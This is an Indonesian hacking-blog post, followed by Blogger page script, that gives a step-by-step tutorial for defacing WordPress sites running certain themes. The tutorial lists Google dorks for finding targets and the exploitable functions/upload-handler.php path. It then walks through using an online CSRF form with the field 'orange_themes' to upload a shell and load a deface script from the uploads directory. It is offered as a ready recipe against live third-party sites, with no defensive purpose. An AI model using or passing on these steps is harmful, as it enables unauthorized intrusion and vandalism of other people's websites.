DEFACE POC WP ORANGE WITH CRSF

Assalamualaikum warahmatullahi wabatokatuh.

Kali ini admin akan berbagi tutorial deface poc wp-orange with csrf-online.

Okey langsung aja yah gaes...

Bahan:

1.Dork

2.Crsf online

3.Sc deface

4.Exploit

5.Kopi+baygon+fanta

Okey langsung ke tutornya...

Simak yah gaes

Tutorial:

Okey langsung aja ke kita ngedork yah gaes...

Dork:

- inurl:/wp-content/themes/rockstar-theme

- inurl:/wp-content/themes/kernel-theme

- inurl:/wp-content/themes/bordeaux-theme

- inurl:/wp-content/themes/bulteno-theme

- inurl:/wp-content/themes/rayoflight-theme

*kembangin lagi biar dapat yang vuln

Nah...jika sudah dapat target...kita klik&langsung masukkan exploitnya

Exploit:

/wp-content/themes/sesuaikan dork/functions/upload-handler.php

*sesuaikan dork maksudnya jika kita pilih dork yang berakhiran rockstar-theme maka dorknya

wp-content/themes/rockstar-theme/functions/upload-handler.php

Okey..lanjut.

Jika setelah anda masukkan exploit,yang keluar tulisan eror,berarti webnya vuln yah gaes.

Nah...vuln.

Langsung aja klik salin link...kita pastekan di crsf onlinenya yah.

Langsung klik 'lock target'

Post file diisi orange_themes

Trus upload shell

Nah...nanti akan keluar tulisan...kita copy dan simpan yah gaes...

Done.

Tinggal panggil scriptnya...caranya:

/wp-content/uploads/tahun/bulan/SC deface kalian

Dan...done...

Sekian terimagaji

Moga bermanfaat

Papay...

About the Author

Halo, Selamat datang, Selamat berbelanja...

Salin

Posting Komentar

Posting Komentar

<!DOCTYPE html>
<html>
<head>
  <title>BocilTeknologi: Templated DOM</title>
</head>
<body>
<script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/1581542668-widgets.js"></script>
<script type='text/javascript'>
window['__wavt'] = 'AOuZoY6ZFPCHtK4CNb-jCXMDk6d_XdJ1mw:1765330493810';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d3640194153811893387','//www.bocilteknologi.my.id/2022/01/deface-poc-wp-orange-with-crsf.html','3640194153811893387');
_WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '3640194153811893387', 'title': 'BocilTeknologi', 'url': 'https://www.bocilteknologi.my.id/2022/01/deface-poc-wp-orange-with-crsf.html', 'canonicalUrl': 'https://www.bocilteknologi.my.id/2022/01/deface-poc-wp-orange-with-crsf.html', 'homepageUrl': 'https://www.bocilteknologi.my.id/', 'searchUrl': 'https://www.bocilteknologi.my.id/search', 'canonicalHomepageUrl': 'https://www.bocilteknologi.my.id/', 'blogspotFaviconUrl': 'https://www.bocilteknologi.my.id/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': true, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': '', 'encoding': 'UTF-8', 'locale': 'id', 'localeUnderscoreDelimited': 'id', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22BocilTeknologi - Atom\x22 href\x3d\x22https://www.bocilteknologi.my.id/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22BocilTeknologi - RSS\x22 href\x3d\x22https://www.bocilteknologi.my.id/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22BocilTeknologi - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/3640194153811893387/posts/default\x22 /\x3e\n\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22BocilTeknologi - Atom\x22 href\x3d\x22https://www.bocilteknologi.my.id/feeds/1421735372679864615/comments/default\x22 /\x3e\n', 'meTag': '', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': false, 'adsenseAutoAds': false, 'boqCommentIframeForm': true, 'loginRedirectParam': '', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/a086d31c20bf4e54', 'plusOneApiSrc': 'https://apis.google.com/js/platform.js', 'disableGComments': true, 'interstitialAccepted': false, 'sharing': {'platforms': [{'name': 'Dapatkan link', 'key': 'link', 'shareMessage': 'Dapatkan link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Bagikan ke Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'X', 'key': 'twitter', 'shareMessage': 'Bagikan ke X', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Bagikan ke Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27id\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Baca selengkapnya', 'pageType': 'item', 'postId': '1421735372679864615', 'postImageThumbnailUrl': 'https://blogger.googleusercontent.com/img/a/AVvXsEiXlC0Oe3aItVH7qNYMKkVpWfGfRE2qx49H5INyRkccd2e6Z146zPF-_oaR90GtaGZjNhyifr_sVpItK-73f39q0WvyjAFnMaxSgGiTcdhlcNrsLMJSkdTpoNSY8hYBXRsFazklnePetjYCKzCAtvDxDqp-V9kS-uEekalwjADWou_dfsDGFgaYm-D1vw\x3ds72-w400-c-h400', 'postImageUrl': 'https://blogger.googleusercontent.com/img/a/AVvXsEiXlC0Oe3aItVH7qNYMKkVpWfGfRE2qx49H5INyRkccd2e6Z146zPF-_oaR90GtaGZjNhyifr_sVpItK-73f39q0WvyjAFnMaxSgGiTcdhlcNrsLMJSkdTpoNSY8hYBXRsFazklnePetjYCKzCAtvDxDqp-V9kS-uEekalwjADWou_dfsDGFgaYm-D1vw\x3dw400-h400', 'pageName': 'DEFACE POC WP ORANGE WITH CRSF', 'pageTitle': 'BocilTeknologi: DEFACE POC WP ORANGE WITH CRSF', 'metaDescription': ''}}, {'name': 'features', 'data': {}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Tautan disalin ke papan klip!', 'ok': 'Oke', 'postLink': 'Tautan Pos'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Khusus', 'isResponsive': true, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'DEFACE POC WP ORANGE WITH CRSF', 'description': 'hacking, tutorial hack nasa, belajar hacking, hacker, belajar programmer pemula, belajar web, dasar web', 'featuredImage': 'https://blogger.googleusercontent.com/img/a/AVvXsEiXlC0Oe3aItVH7qNYMKkVpWfGfRE2qx49H5INyRkccd2e6Z146zPF-_oaR90GtaGZjNhyifr_sVpItK-73f39q0WvyjAFnMaxSgGiTcdhlcNrsLMJSkdTpoNSY8hYBXRsFazklnePetjYCKzCAtvDxDqp-V9kS-uEekalwjADWou_dfsDGFgaYm-D1vw\x3dw400-h400', 'url': 'https://www.bocilteknologi.my.id/2022/01/deface-poc-wp-orange-with-crsf.html', 'type': 'item', 'isSingleItem': true, 'isMultipleItems': false, 'isError': false, 'isPage': false, 'isPost': true, 'isHomepage': false, 'isArchive': false, 'isLabelSearch': false, 'postId': 1421735372679864615}}, {'name': 'widgets', 'data': [{'title': 'Labels', 'type': 'Label', 'sectionId': 'theme_section_hidden_section', 'id': 'Label0000001'}, {'title': 'Formulir Kontak', 'type': 'ContactForm', 'sectionId': 'theme_section_hidden_section', 'id': 'ContactForm0000001'}, {'title': 'BocilTeknologi (Header)', 'type': 'Header', 'sectionId': 'header-title', 'id': 'Header1'}, {'title': 'Try \x27Hacking\x27', 'type': 'BlogSearch', 'sectionId': 'header-search', 'id': 'BlogSearch1'}, {'title': 'Header Icon', 'type': 'TextList', 'sectionId': 'header-icon', 'id': 'TextList000'}, {'title': 'Contributors', 'type': 'Profile', 'sectionId': 'header-icon', 'id': 'Profile1'}, {'title': 'Additional Menu', 'type': 'PageList', 'sectionId': 'nav-widget-1', 'id': 'PageList002'}, {'title': 'Social Media', 'type': 'LinkList', 'sectionId': 'nav-widget-1', 'id': 'LinkList002'}, {'title': 'Navigation Menu', 'type': 'HTML', 'sectionId': 'nav-widget-2', 'id': 'HTML000'}, {'title': 'Scroll Menu', 'type': 'LinkList', 'sectionId': 'notif-widget', 'id': 'LinkList001'}, {'title': 'Notification', 'type': 'HTML', 'sectionId': 'notif-widget', 'id': 'HTML0'}, {'title': 'Slider Image 01', 'type': 'Image', 'sectionId': 'slider-widget', 'id': 'Image1'}, {'title': 'Slider Image 02', 'type': 'Image', 'sectionId': 'slider-widget', 'id': 'Image2'}, {'title': 'Slider Image 03', 'type': 'Image', 'sectionId': 'slider-widget', 'id': 'Image3'}, {'title': 'Slider Image 04', 'type': 'Image', 'sectionId': 'slider-widget', 'id': 'Image4'}, {'title': 'Pinned Post', 'type': 'FeaturedPost', 'sectionId': 'top-widget', 'id': 'FeaturedPost1', 'postId': '171171593895807738'}, {'title': 'Postingan Blog', 'type': 'Blog', 'sectionId': 'main-widget', 'id': 'Blog1', 'posts': [{'id': '1421735372679864615', 'title': 'DEFACE POC WP ORANGE WITH CRSF', 'featuredImage': 'https://blogger.googleusercontent.com/img/a/AVvXsEiXlC0Oe3aItVH7qNYMKkVpWfGfRE2qx49H5INyRkccd2e6Z146zPF-_oaR90GtaGZjNhyifr_sVpItK-73f39q0WvyjAFnMaxSgGiTcdhlcNrsLMJSkdTpoNSY8hYBXRsFazklnePetjYCKzCAtvDxDqp-V9kS-uEekalwjADWou_dfsDGFgaYm-D1vw\x3dw400-h400', 'showInlineAds': false}], 'headerByline': {'regionName': 'header1', 'items': [{'name': 'share', 'label': ''}, {'name': 'author', 'label': 'Published by'}, {'name': 'timestamp', 'label': 'On'}]}, 'footerBylines': [{'regionName': 'footer1', 'items': [{'name': 'comments', 'label': 'Comment'}, {'name': 'icons', 'label': ''}]}, {'regionName': 'footer2', 'items': [{'name': 'labels', 'label': 'in'}]}], 'allBylineItems': [{'name': 'share', 'label': ''}, {'name': 'author', 'label': 'Published by'}, {'name': 'timestamp', 'label': 'On'}, {'name': 'comments', 'label': 'Comment'}, {'name': 'icons', 'label': ''}, {'name': 'labels', 'label': 'in'}]}, {'title': 'Categorised Posts', 'type': 'LinkList', 'sectionId': 'main-widget', 'id': 'LinkList5'}, {'title': 'Popular Posts', 'type': 'PopularPosts', 'sectionId': 'side-widget', 'id': 'PopularPosts00', 'posts': [{'title': 'CARA SPAM SMS+WA+CALL MENGGUNAKAN TERMUX 100%WORK', 'id': 1158933283715292400}, {'title': 'Internet Satelit vs. Internet Kabel: Starlink vs. IndiHome, Biznet, dan Lainnya', 'id': 1231883548211223955}, {'title': 'Rekomendasi Laptop Harga MidrangeTerbaik untuk Mahasiswa', 'id': 1415850396237268535}, {'title': 'DEFACE POC WP ORANGE WITH CRSF', 'id': 1421735372679864615}, {'title': 'Free Google Drive 2TB + Gemini Pro buat mahasiswa. Buruan Klaim!!', 'id': 171171593895807738}]}, {'title': 'Labels', 'type': 'Label', 'sectionId': 'side-widget', 'id': 'Label00'}, {'title': 'Table of contents', 'type': 'HTML', 'sectionId': 'side-widget', 'id': 'HTML11'}, {'title': 'Mobile Menu', 'type': 'TextList', 'sectionId': 'mobile-menu', 'id': 'TextList99'}, {'title': 'Made with coffee by', 'type': 'HTML', 'sectionId': 'footer-widget-1', 'id': 'HTML77'}, {'title': 'Social Media Link', 'type': 'LinkList', 'sectionId': 'footer-widget-1', 'id': 'LinkList1'}, {'title': 'Company', 'type': 'LinkList', 'sectionId': 'footer-widget-2', 'id': 'LinkList2'}, {'title': 'Product \x26amp; Service', 'type': 'LinkList', 'sectionId': 'footer-widget-3', 'id': 'LinkList3'}, {'title': 'Support', 'type': 'LinkList', 'sectionId': 'footer-widget-4', 'id': 'LinkList4'}, {'title': 'Credit', 'type': 'HTML', 'sectionId': 'credit-widget', 'id': 'HTML88'}, {'title': 'Back to top', 'type': 'TextList', 'sectionId': 'credit-widget', 'id': 'TextList88'}, {'title': 'Take me back', 'type': 'HTML', 'sectionId': 'error-404', 'id': 'HTML404'}, {'title': 'Cookie Consent', 'type': 'LinkList', 'sectionId': 'addons-widget', 'id': 'LinkList7'}, {'title': 'Oops!', 'type': 'HTML', 'sectionId': 'addons-widget', 'id': 'HTML22'}, {'title': 'AdBlock Detected!', 'type': 'HTML', 'sectionId': 'addons-widget', 'id': 'HTML23'}, {'title': 'Enable JavaScript!', 'type': 'HTML', 'sectionId': 'addons-widget', 'id': 'HTML25'}]}]);
_WidgetManager._RegisterWidget('_LabelView', new _WidgetInfo('Label0000001', 'theme_section_hidden_section', document.getElementById('Label0000001'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ContactFormView', new _WidgetInfo('ContactForm0000001', 'theme_section_hidden_section', document.getElementById('ContactForm0000001'), {'contactFormMessageSendingMsg': 'Mengirim...', 'contactFormMessageSentMsg': 'Pesan sudah dikirim.', 'contactFormMessageNotSentMsg': 'Pesan tidak dapat dikirim. Coba lagi nanti.', 'contactFormInvalidEmailMsg': 'Alamat email harus valid.', 'contactFormEmptyMessageMsg': 'Bidang pesan harus diisi.', 'title': 'Formulir Kontak', 'blogId': '3640194153811893387', 'contactFormNameMsg': 'Nama', 'contactFormEmailMsg': 'Email', 'contactFormMessageMsg': 'Pesan', 'contactFormSendMsg': 'Kirim', 'contactFormToken': 'AOuZoY66ngAfF_SmCoVdjpRGz9SATsCYVg:1765330493811', 'submitUrl': 'https://www.blogger.com/contact-form.do'}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header-title', document.getElementById('Header1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_BlogSearchView', new _WidgetInfo('BlogSearch1', 'header-search', document.getElementById('BlogSearch1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_TextListView', new _WidgetInfo('TextList000', 'header-icon', document.getElementById('TextList000'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ProfileView', new _WidgetInfo('Profile1', 'header-icon', document.getElementById('Profile1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_PageListView', new _WidgetInfo('PageList002', 'nav-widget-1', document.getElementById('PageList002'), {'title': 'Additional Menu', 'links': [{'isCurrentPage': false, 'href': '/p/sitemap.html', 'title': 'Sitemap'}, {'isCurrentPage': false, 'href': 'https://imamuddinwp.com/p/disclaimer.html', 'title': 'Disclaimer'}, {'isCurrentPage': false, 'href': '/p/privacy.html', 'title': 'Privacy'}], 'mobile': false, 'showPlaceholder': true, 'hasCurrentPage': false}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList002', 'nav-widget-1', document.getElementById('LinkList002'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML000', 'nav-widget-2', document.getElementById('HTML000'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList001', 'notif-widget', document.getElementById('LinkList001'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML0', 'notif-widget', document.getElementById('HTML0'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ImageView', new _WidgetInfo('Image1', 'slider-widget', document.getElementById('Image1'), {'resize': false}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ImageView', new _WidgetInfo('Image2', 'slider-widget', document.getElementById('Image2'), {'resize': false}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ImageView', new _WidgetInfo('Image3', 'slider-widget', document.getElementById('Image3'), {'resize': true}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ImageView', new _WidgetInfo('Image4', 'slider-widget', document.getElementById('Image4'), {'resize': false}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_FeaturedPostView', new _WidgetInfo('FeaturedPost1', 'top-widget', document.getElementById('FeaturedPost1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'main-widget', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/2485970545-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/828616780-lightbox_bundle.css'}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList5', 'main-widget', document.getElementById('LinkList5'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_PopularPostsView', new _WidgetInfo('PopularPosts00', 'side-widget', document.getElementById('PopularPosts00'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LabelView', new _WidgetInfo('Label00', 'side-widget', document.getElementById('Label00'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML11', 'side-widget', document.getElementById('HTML11'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_TextListView', new _WidgetInfo('TextList99', 'mobile-menu', document.getElementById('TextList99'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML77', 'footer-widget-1', document.getElementById('HTML77'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList1', 'footer-widget-1', document.getElementById('LinkList1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList2', 'footer-widget-2', document.getElementById('LinkList2'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList3', 'footer-widget-3', document.getElementById('LinkList3'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList4', 'footer-widget-4', document.getElementById('LinkList4'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML88', 'credit-widget', document.getElementById('HTML88'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_TextListView', new _WidgetInfo('TextList88', 'credit-widget', document.getElementById('TextList88'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML404', 'error-404', document.getElementById('HTML404'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList7', 'addons-widget', document.getElementById('LinkList7'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML22', 'addons-widget', document.getElementById('HTML22'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML23', 'addons-widget', document.getElementById('HTML23'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML25', 'addons-widget', document.getElementById('HTML25'), {}, 'displayModeFull'));
</script>
</body>
</html>